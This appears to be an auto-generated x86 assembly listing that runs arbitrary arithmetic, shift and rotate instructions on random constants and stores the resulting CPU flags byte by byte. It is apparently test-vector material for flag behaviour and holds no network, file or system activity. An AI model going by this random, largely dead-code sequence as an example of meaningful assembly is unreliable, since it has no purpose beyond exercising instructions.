mov ebx, 0x63a12d20
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x39505307
mov edx, 0xf7493169
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x83262b83
neg eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x44b9e4a2
mov ecx, 0x9680cd43
rol ebx, cl
mov edx, 0xb5988f6d
mov ecx, 0xd37bd34a
rol edx, cl
mov eax, 0x23e513af
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xdff865f3
sar eax, 0x7f
mov ebx, 0x6ec3e95f
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x630fbee4
mov edx, 0xef9c4a06
cmp ecx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1930cd9e
cmp ebx, 0x89a9631d
mov edx, 0x84ec7e12
mov ecx, 0xbb9f3056
rol edx, cl
mov ebx, 0xca8fbb6b
mov ecx, 0xd5ee3446
rol ebx, cl
mov ebx, 0x68f12e07
rol ebx, 1
mov edx, 0x59857cf6
mov eax, 0xd3da4608
add edx, eax
mov ebx, 0x6290c0cd
mov ecx, 0xb953b109
ror ebx, cl
mov ebx, 0xf4f3e1e5
mov ecx, 0x5b6221a7
ror ebx, cl
mov eax, 0xa95b5990
dec eax
mov edx, 0x693cf488
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x39e9d9b0
cmp eax, 0xd66e54e3
lahf
mov byte [edi], ah
inc edi
mov eax, 0x30731e9
rol eax, 1
mov edx, 0x47a0cf71
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xbbf75cf2
mov ecx, 0x8bf6f246
sal ebx, cl
mov eax, 0xd8d06bb5
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf1e872fb
mov ecx, 0xf0b2196
rol edx, cl
mov ecx, 0xb5df9168
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3d56b4db
inc ecx
mov eax, 0xa12e950c
mov ecx, 0x77a9a0a6
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x1eb65ee4
inc eax
mov eax, 0x3ecbd8f7
mov ecx, 0xc59aa75a
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc94aab3f
cmp eax, 0x70bbd2b9
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xeddd1fa1
mov eax, 0xcd52e459
add ebx, eax
mov eax, 0x3329064e
mov ecx, 0x78b058e9
rol eax, cl
mov edx, 0x573fc816
mov ecx, 0xe75e0de5
rol edx, cl
mov eax, 0xf10aedf
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xde4bc93a
mov ecx, 0x331ac8f3
rol eax, cl
mov edx, 0x611fd890
rol edx, 1
mov ebx, 0x7358cce1
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x467af362
mov ecx, 0x72a59319
sar eax, cl
mov eax, 0x1f340181
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa2789e5f
inc eax
mov eax, 0x2c668f76
mov ecx, 0xccc1fa8e
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xe89f3a90
mov ebx, 0xadec608d
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x378f430b
rol edx, 1
mov ecx, 0x54200e28
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xaa02c42e
neg ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6d8b85a3
mov ecx, 0x775a1ef3
ror eax, cl
mov eax, 0x78d1c55c
mov ecx, 0x2bf859e4
rol eax, cl
mov ebx, 0x710916b4
mov ecx, 0x8210a2ec
ror ebx, cl
mov ebx, 0x93dd00b
shl ebx, 1
mov edx, 0xb365cedf
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3fd549bd
mov ecx, 0x5c8cf4a7
ror ebx, cl
mov ebx, 0x451239f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb766f3e8
sal ebx, 1
mov edx, 0x4d3ec2ed
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xff318530
mov ecx, 0x4fd87b77
rol ebx, cl
mov ecx, 0x776f000
dec ecx
mov ebx, 0x2502aadd
rol ebx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x3ef865ce
mov eax, 0x8fd1dbd0
sub ecx, eax
mov eax, 0x523cdd5d
aaa
mov ecx, 0x31d0045f
inc ecx
mov ebx, 0xcc0b71bf
mov ecx, 0x3fda9b64
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa22e07e0
dec ebx
mov ebx, 0x7d480c42
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2e900903
cmp eax, 0xe38961ea
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x7ac13cde
cmp edx, 0x4266a667
mov eax, 0x1ef27f95
aaa
mov ecx, 0x383eff52
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x1116053b
rol ebx, 1
mov eax, 0xdd99b789
sub eax, 0x285e648e
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x95a45008
rol ebx, 1
mov eax, 0x27a5be71
shl eax, 1
mov edx, 0xbf078373
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1ada6ff9
shl ebx, 1
mov edx, 0x3c01de4e
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe200fadd
rol eax, 1
mov eax, 0xf1188595
mov ecx, 0xccfbdf48
rol eax, cl
mov ebx, 0x6c40e85
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x79ea484f
sub ebx, 0x64dbb5f8
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x77f99f1c
mov ecx, 0x8ec015c5
shl ebx, cl
mov eax, 0xe54ef156
aas
mov edx, 0xa7686099
mov ecx, 0x2a8bcfeb
ror edx, cl
mov ecx, 0xd0277043
cmp ecx, 0xb2d45b75
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x6b63bf1b
rol ebx, 1
mov edx, 0x5abfafcf
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x2ef90e1e
sub ecx, 0xe3ec2c0
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa716a1cd
inc ecx
mov edx, 0x82eed52a
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1ba1663b
rol eax, 1
mov ebx, 0x3baa32d0
dec ebx
mov eax, 0xeae45707
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x2e80231d
mov edx, 0xfcb94e97
cmp ecx, edx
mov eax, 0xd70a4a4e
aas
mov ecx, 0xed0d6dc0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x192f8181
inc edx
mov ebx, 0x194bc490
mov ecx, 0x7a1ad1bc
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xac1faff0
neg eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x3c049fef
shl edx, 0xd6
mov eax, 0xd7adc5b
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x345dba15
inc ecx
mov ebx, 0x3a911814
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5694d012
mov eax, 0x253db8a8
add edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcafbb62e
mov ecx, 0x248adaa5
ror ebx, cl
mov ecx, 0xff566fb8
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x7648e45a
rol edx, 1
mov edx, 0x6051534f
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x52534cab
aas
mov ecx, 0x6445b610
inc ecx
mov edx, 0xffc18ed7
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9cec1275
mov ecx, 0x339f0a77
shl ebx, cl
mov eax, 0x3f69ba05
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xab084813
mov ecx, 0x78ab8302
rol eax, cl
mov eax, 0xf487916d
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x14c381a
sar ebx, 0xd6
mov edx, 0x7c35ee9b
mov ecx, 0x4e6ce321
rol edx, cl
mov ecx, 0x3915debf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x50ce017b
dec eax
mov ebx, 0x59945c0c
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xaa18d151
mov ecx, 0xc9fbc42b
ror eax, cl
mov ebx, 0xad7ac63
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa9639726
mov ecx, 0x5b928ec1
sar eax, cl
mov eax, 0x82d5145e
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x24560a
rol ebx, 1
mov edx, 0x1dfd41a0
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2ed8794b
mov ecx, 0x69bb8539
ror eax, cl
mov ebx, 0x3c1ccee1
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x8c02e539
mov ecx, 0xb94d4923
shl ebx, cl
mov eax, 0x20681c47
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x78acde15
rol eax, 1
mov ebx, 0xc97b5ccc
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3362a377
rol eax, 1
mov eax, 0x64dc31be
mov ecx, 0x654fce27
rol eax, cl
mov eax, 0xd86aca1c
sub eax, 0xa15b2434
mov ecx, 0x18932370
dec ecx
mov edx, 0x70b17e0
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf9d72ccc
sub ebx, 0x12c45ab0
mov eax, 0x9730ddfd
aaa
mov eax, 0xb4433b37
aas
mov ebx, 0x89318a2e
mov ecx, 0xc1d8eb2c
sar ebx, cl
mov eax, 0x7c269414
aaa
mov edx, 0xc780c2e4
rol edx, 1
mov edx, 0x97e38cb0
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc3c3a0cf
sub eax, 0xf440b1ed
mov edx, 0xd53aa002
add edx, 0xa5eba308
mov ecx, 0x2962a5e3
mov edx, 0xaaf3bc20
sub ecx, edx
mov edx, 0xe81ffe68
rol edx, 1
mov ecx, 0xb346646c
mov eax, 0xd9074f0b
sub ecx, eax
mov ebx, 0x1da94e63
inc ebx
mov ebx, 0xeb6506a6
rol ebx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x221df0e0
mov ecx, 0xbaf4612a
rol edx, cl
mov edx, 0x77d5fdc2
rol edx, 1
mov ebx, 0xcb61aaa
inc ebx
mov eax, 0x3e427842
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x6f9ff627
mov ecx, 0xa53ec964
ror ebx, cl
mov ebx, 0x66bb2f1d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa6fadfe6
mov ecx, 0x5252469
ror eax, cl
mov ecx, 0x9a9e17ef
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5f76d716
rol eax, 1
mov ebx, 0xed3f778f
mov ecx, 0x155e4b90
ror ebx, cl
mov ebx, 0x47d1c5e1
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x6a3cb37a
rol edx, 1
mov ecx, 0x1d79ec98
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x31588c41
rol ebx, 1
mov eax, 0xc83293d4
rol eax, 1
mov edx, 0x5adfed1e
inc edx
mov edx, 0x48719a2b
mov ecx, 0xf618f2b3
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xb9420fa9
mov eax, 0x2d536cc2
cmp edx, eax
mov eax, 0x6745e4b8
aaa
mov eax, 0xf3cb3547
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x39fddc69
aaa
mov ebx, 0x724a7f2a
rol ebx, 1
mov eax, 0x5f87d02f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5d9ba48c
sub ebx, 0x4538952b
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8350c255
mov ecx, 0xe5136c8e
ror ebx, cl
mov eax, 0xe38b637b
sub eax, 0x6c686396
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x13f1c85f
shl eax, 1
mov edx, 0xcfae06b3
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x2686476a
rol ebx, 1
mov eax, 0x959929fb
mov ecx, 0x1ee0d89e
rol eax, cl
mov eax, 0x17096040
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xc1281f42
mov ecx, 0x934b5f05
ror edx, cl
mov edx, 0xfba2c393
mov ecx, 0xa36d71e9
ror edx, cl
mov eax, 0x5cfa243d
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x915256d6
mov ecx, 0x41dd76c7
ror ebx, cl
mov eax, 0xa777c2cd
shl eax, 1
mov eax, 0x70491f54
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xf2bda46e
sub ecx, 0x20b28c61
mov eax, 0x715fc7f3
aas
mov eax, 0xbc750506
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x446222
mov ecx, 0x2d575344
ror ebx, cl
mov ebx, 0x6b94fd44
mov edx, 0x163d7761
add ebx, edx
mov eax, 0x1c57ef48
rol eax, 1
mov eax, 0x4c41a6f2
shl eax, 1
mov eax, 0xa5f68401
mov ecx, 0xf291373c
ror eax, cl
mov eax, 0x7dce7043
rol eax, 1
mov ebx, 0xa201176e
mov ecx, 0x7be8ca8d
ror ebx, cl
mov eax, 0x4a53e986
rol eax, 1
mov edx, 0x70ab69a0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x4a23b590
shl eax, 1
mov ebx, 0x469eaf91
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe0616c58
rol ebx, 1
mov edx, 0x956a4420
neg edx
mov eax, 0xa3d1b489
aaa
mov ebx, 0x76a4ddaf
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2d1a4741
mov ecx, 0x4fc5b15f
sal edx, cl
mov ebx, 0xa627983b
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x46be91c9
mov ecx, 0xf979081e
ror eax, cl
mov eax, 0xd02b94ad
sar eax, 0x35
mov ebx, 0x7573cf42
mov ecx, 0x8de28d9b
sal ebx, cl
mov eax, 0x23a8c5d0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb868ada5
sub ebx, 0x6481762f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb629847
sub eax, 0xe4f32b83
mov eax, 0xff6b7054
aas
mov edx, 0x3761c015
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xeae01220
inc eax
mov eax, 0xd50c2059
mov ecx, 0xb83f5426
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x993c3782
mov ecx, 0x2f2f4a04
sar ebx, cl
mov eax, 0xd72a4706
mov ecx, 0x1815d308
rol eax, cl
mov ebx, 0x21829faf
mov ecx, 0x34cdd344
shl ebx, cl
mov eax, 0x406344e3
aaa
mov eax, 0x61d5ec1e
shl eax, 1
mov ebx, 0x21769c5f
inc ebx
mov eax, 0xe94e2064
mov ecx, 0x4c4983d0
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd4265bb0
mov ecx, 0x3b811f70
ror edx, cl
mov ebx, 0x41fe8684
dec ebx
mov ebx, 0x800a11de
mov ecx, 0x58751c03
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x212d4b9b
mov ecx, 0xc4407a5
ror ebx, cl
mov eax, 0x26aedf43
aaa
mov edx, 0x37d3acf2
dec edx
mov eax, 0x1dc52d04
mov ecx, 0x3c3c2fc8
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x8c40fa3f
sub ebx, 0x6779a34a
mov eax, 0x2358281
aaa
mov eax, 0x8cb1d44c
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x681873ef
inc edx
mov eax, 0x22308f5f
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x63065691
inc ebx
mov edx, 0xccdef14b
mov ecx, 0x441934dd
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x99b64cfe
rol eax, 1
mov eax, 0xfe848f39
mov edx, 0xc66d0555
add eax, edx
mov eax, 0x86ee4c76
aaa
mov ecx, 0x23fa24c8
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x24ddab02
mov ecx, 0x10b485dc
ror ebx, cl
mov edx, 0xc24cb86c
mov ecx, 0x127fa6a8
shl edx, cl
mov edx, 0xb7383fc9
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x567cb1cb
sub ecx, 0xcb0507d5
mov eax, 0xff366c71
shl eax, 0xbd
mov ecx, 0x793d60ff
inc ecx
mov eax, 0x6c3991ef
mov ecx, 0xac008b76
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xfb18a33d
rol eax, 1
mov edx, 0x1530018d
mov ecx, 0x12730b44
rol edx, cl
mov eax, 0x7e63dbd6
sal eax, 1
mov eax, 0x37ded0d3
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x7451c8e0
mov ecx, 0xe578a454
ror eax, cl
mov eax, 0x30bc3fdb
sal eax, 1
mov ebx, 0x79f92488
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xd369a57e
sub ebx, 0x31ee47a0
lahf
mov byte [edi], ah
inc edi
mov edx, 0x90c620b8
mov ecx, 0x86a10544
ror edx, cl
mov edx, 0x3720eaff
rol edx, 1
mov ebx, 0xe5dc92fb
cmp ebx, 0x16e5f972
mov eax, 0x50ed3b4c
mov ecx, 0x23044122
ror eax, cl
mov eax, 0xc03d372c
aas
mov edx, 0x8d7eaec2
mov ecx, 0x2339eb2a
rol edx, cl
mov eax, 0xbdfb100f
aas
mov eax, 0xdd380cb3
mov ecx, 0x559b08f8
rol eax, cl
mov ecx, 0x5002815f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x75268c51
sal eax, 1
mov ecx, 0x82962df
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xd6c8002a
rol edx, 1
mov edx, 0x253c0121
add edx, 0x52c59cdd
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6c72fdd3
shl eax, 0xd0
mov ecx, 0xddbe1ae7
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x326ef4a5
sub ebx, 0x2d0f6ec8
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2146b84d
aaa
mov eax, 0x7fce5d1e
sub eax, 0x5eef1841
mov eax, 0x6de85140
aas
mov edx, 0x3ce71490
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2dd72e4c
mov ecx, 0x195630f9
rol eax, cl
mov edx, 0xcf8c79
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3ac7641e
mov ecx, 0x8406b828
ror ebx, cl
mov edx, 0xe919f183
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xc161993
sub ecx, 0x997a04f
lahf
mov byte [edi], ah
inc edi
mov eax, 0x948fb103
mov ecx, 0x87ee6997
rol eax, cl
mov edx, 0x4d76e22a
add edx, 0x1f770ee1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x866f3546
rol ebx, 1
mov eax, 0x3ff39d23
mov ecx, 0xf26277ae
sar eax, cl
mov edx, 0x1a74c224
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x833f73f9
mov ecx, 0x435e33ea
rol eax, cl
mov edx, 0x6ffee04
sal edx, 0xc1
mov edx, 0xf9b861f6
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeb93568e
mov ecx, 0x88823c55
ror ebx, cl
mov ebx, 0x6be78d7c
sub ebx, 0x83944284
mov ebx, 0x5e800fd0
dec ebx
mov eax, 0xe2ac791c
mov ecx, 0xf85fff3c
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x792a25b3
rol eax, 1
mov edx, 0x5ecdaf29
inc edx
mov ebx, 0xfe831875
mov ecx, 0x5132aa52
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xbcc4d76e
cmp ecx, 0x47ad3b42
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5a9c425d
sal ebx, 1
mov ebx, 0xe214f81
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x24ff6ab7
dec edx
mov edx, 0xc191c3f8
mov ecx, 0x1fb85715
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf948a0c4
sub ebx, 0x43e18d82
mov eax, 0x99637340
aas
mov ecx, 0x4edef9ac
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2e08b439
dec ebx
mov eax, 0x22b4b037
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6c7fbb45
inc eax
mov eax, 0xcd116aa8
mov ecx, 0x29380498
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xe750cdfa
mov ecx, 0x59131b9b
rol ebx, cl
mov edx, 0xe8370ae8
cmp edx, 0xd1a42d75
mov ebx, 0xfa0da4a
rol ebx, 1
mov edx, 0x911ba150
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xb6390ed3
mov eax, 0x247e3ac0
cmp edx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe9d7f24b
rol eax, 1
mov edx, 0x2a3a6eae
sal edx, 1
mov ecx, 0x4eaf4670
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x419fe7d8
inc eax
mov eax, 0xc597486a
mov ecx, 0x3816be18
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x80e53ed3
shl ebx, 1
mov ebx, 0x6d5522ff
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x14a4d7b6
rol eax, 1
mov edx, 0x787d08c7
mov ecx, 0xeed4d719
ror edx, cl
mov eax, 0x2440ad91
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3b58a6a7
mov ecx, 0xd83bf283
rol edx, cl
mov eax, 0xbd223792
aas
mov edx, 0xa09c3d57
sub edx, 0x1aa5a5e7
mov eax, 0xf1e1ae32
add eax, 0xbb06e669
mov eax, 0x1684be08
mov ecx, 0xb4975fb7
ror eax, cl
mov ecx, 0x5cddd490
add ecx, 0x10526db1
mov eax, 0x29ae70b9
rol eax, 1
mov edx, 0xb9cae493
rol edx, 1
mov edx, 0x7804718a
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc39ce5f6
mov ecx, 0x70fa01f
ror ebx, cl
mov eax, 0xc907b136
mov ecx, 0x6346f9ad
ror eax, cl
mov ebx, 0x55945be
inc ebx
mov eax, 0x8f1b1f3f
mov ecx, 0xe52a2d6b
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xc6939146
mov ecx, 0xef826fe7
ror eax, cl
mov edx, 0xfca698df
mov ecx, 0xb601d1b8
ror edx, cl
mov eax, 0x56e2861d
mov ecx, 0xa739fc3
add eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x3c92950d
sal ebx, 1
mov edx, 0x33195525
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x7d78af25
inc ecx
mov ebx, 0x7045a058
mov ecx, 0x48bcb648
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbd4c6fbf
inc eax
mov eax, 0xad02fe48
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xd4ae1765
add eax, 0xc24fa9bc
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xac47bae8
rol ebx, 1
mov eax, 0xbb55b764
rol eax, 1
mov edx, 0xd0882d94
mov ecx, 0xc42bb5e2
rol edx, cl
mov eax, 0x2eccd55a
sub eax, 0x45154f70
mov eax, 0x1d91f39d
aaa
mov ecx, 0x4adff4af
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2656608b
mov ecx, 0xb87177b4
rol edx, cl
mov eax, 0xc38df9d7
shl eax, 1
mov eax, 0xb89230a
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x6e9fbd9a
sal ebx, 1
mov ebx, 0x2903c18d
sub ebx, 0x9080e6eb
mov edx, 0xe32fbd77
mov ecx, 0x6d0ea947
ror edx, cl
mov eax, 0xe41c354
mov ecx, 0xf128f0af
rol eax, cl
mov edx, 0x81971246
cmp edx, 0x5f84d54b
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xcd08864e
rol eax, 1
mov ebx, 0xb1b41787
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3413dd91
mov eax, 0x2650ae63
add ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xabd34722
sal ebx, 1
mov eax, 0x8446c4ff
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xdbc93fde
mov eax, 0x2ce1f51
sub ecx, eax
mov eax, 0x320b2a50
aas
mov ecx, 0x4c18acf6
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x47e2de2b
aaa
mov ebx, 0x1065559e
rol ebx, 1
mov ebx, 0xec319557
sub ebx, 0xaf167f4c
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x3e1c1996
inc ecx
mov ebx, 0x20088ed7
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9b2341eb
mov ecx, 0xfc52ec1f
ror ebx, cl
mov ebx, 0x518bf95e
mov edx, 0x42684683
sub ebx, edx
mov eax, 0xa9bd0106
aas
mov ecx, 0x6703e54d
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9cc24800
neg edx
mov eax, 0x812f0de8
aaa
mov ecx, 0x58c5c3ad
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xba7202bd
rol ebx, 1
mov edx, 0xd2c9bf81
rol edx, 1
mov ebx, 0xc97850ad
rol ebx, 1
mov ebx, 0xb7b490e8
sal ebx, 1
mov ebx, 0x46b223cf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfa0aef14
mov edx, 0xb27b1dd9
add eax, edx
mov ebx, 0xceb1667a
sub ebx, 0x1f96db2a
mov ecx, 0x14717477
cmp ecx, 0x52565f54
mov ebx, 0xc5fd7696
mov ecx, 0x2547788
ror ebx, cl
mov ecx, 0x47ec9e31
dec ecx
mov edx, 0x4516b24f
mov ecx, 0x1a317b0f
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x841cc10c
mov ecx, 0xf8254c3c
sub ebx, ecx
mov eax, 0x6dde013
aaa
mov ebx, 0xd923ffa4
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xf9aad48a
mov ecx, 0x3495e255
ror edx, cl
mov eax, 0xb8e4643c
mov ecx, 0xe477dae9
ror eax, cl
mov eax, 0x407c96d4
rol eax, 1
mov ecx, 0x231411b2
inc ecx
mov ebx, 0x92b9ca8e
mov ecx, 0x5c80cd18
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xb17bcca4
dec ecx
mov ebx, 0xd4f35121
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x286777f
sub eax, 0x17478d7d
mov eax, 0xe0e3d7e9
aas
mov ebx, 0x50c1768
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x92c29aaf
sal eax, 1
mov eax, 0x63099da7
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x88155ea2
mov ecx, 0x9dcc62af
ror eax, cl
mov ecx, 0xc0c9847b
mov edx, 0x83ce41e4
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x70e734da
mov ecx, 0x3ea6b539
rol edx, cl
mov ecx, 0x95df260a
mov eax, 0xf22cf5a5
add ecx, eax
mov edx, 0xd5c10d7b
cmp edx, 0x166cd21
mov ebx, 0xfbe40561
mov ecx, 0x53770e1e
ror ebx, cl
mov edx, 0x994eaef7
rol edx, 1
mov edx, 0xbb681f14
mov ecx, 0xe8b65d6
ror edx, cl
mov eax, 0x9d5f8810
mov ecx, 0xf1fef722
ror eax, cl
mov ebx, 0x5c6cc557
shl ebx, 1
mov eax, 0xdbf55cf0
neg eax
mov eax, 0x896f1185
sal eax, 0x86
mov edx, 0x3767c7df
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x61980a1a
dec eax
mov edx, 0xaba1b25
mov ecx, 0x9fe55f57
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
